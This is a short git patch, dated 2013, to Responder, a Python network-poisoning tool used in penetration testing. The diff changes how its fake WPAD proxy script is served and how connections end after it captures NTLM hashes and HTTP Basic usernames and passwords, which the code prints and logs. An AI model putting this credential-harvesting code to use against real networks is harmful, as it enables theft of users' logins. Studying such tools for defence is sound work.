From f5c1f9464a8a702cb678d6d6d9963921e65e0e96 Mon Sep 17 00:00:00 2001 From: Lgandx Date: Thu, 14 Feb 2013 11:30:46 -0500 Subject: [PATCH] minor bug fix --- HTTPProxy.py | 10 +--------- Responder.py | 4 ++-- 2 files changed, 3 insertions(+), 11 deletions(-) diff --git a/HTTPProxy.py b/HTTPProxy.py index b1ce178..3292c87 100644 --- a/HTTPProxy.py +++ b/HTTPProxy.py @@ -39,7 +39,7 @@ class WPADScript(Packet): ("Code", "HTTP/1.1 200 OK\r\n"), ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), + ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), @@ -63,14 +63,6 @@ class IIS_Auth_407_Ans(Packet): ("CRLF", "\r\n"), ]) -#HTTP Packet Granted auth. -class IIS_Proxy_Auth_Failed(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 500 Server Error\r\n"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - #HTTP NTLM packet. class IIS_407_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ diff --git a/Responder.py b/Responder.py index 8179b9a..c450d45 100644 --- a/Responder.py +++ b/Responder.py @@ -862,7 +862,7 @@ def ProxyPacketSequence(data,client): if packetNtlm == "\x03": NTLM_Auth= b64decode(''.join(a)) ParseHTTPHash(NTLM_Auth,client) - buffer1 = IIS_Proxy_Auth_Failed() + buffer1 = DitchThisConnection() buffer1.calculate() return str(buffer1) if b: @@ -876,7 +876,7 @@ def ProxyPacketSequence(data,client): WriteData(outfile,b64decode(''.join(b))) print "[+]HTTP-User & Password:", b64decode(''.join(b)) logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(b)))) - buffer1 = IIS_Proxy_Auth_Failed() + buffer1 = DitchThisConnection() buffer1.calculate() return str(buffer1)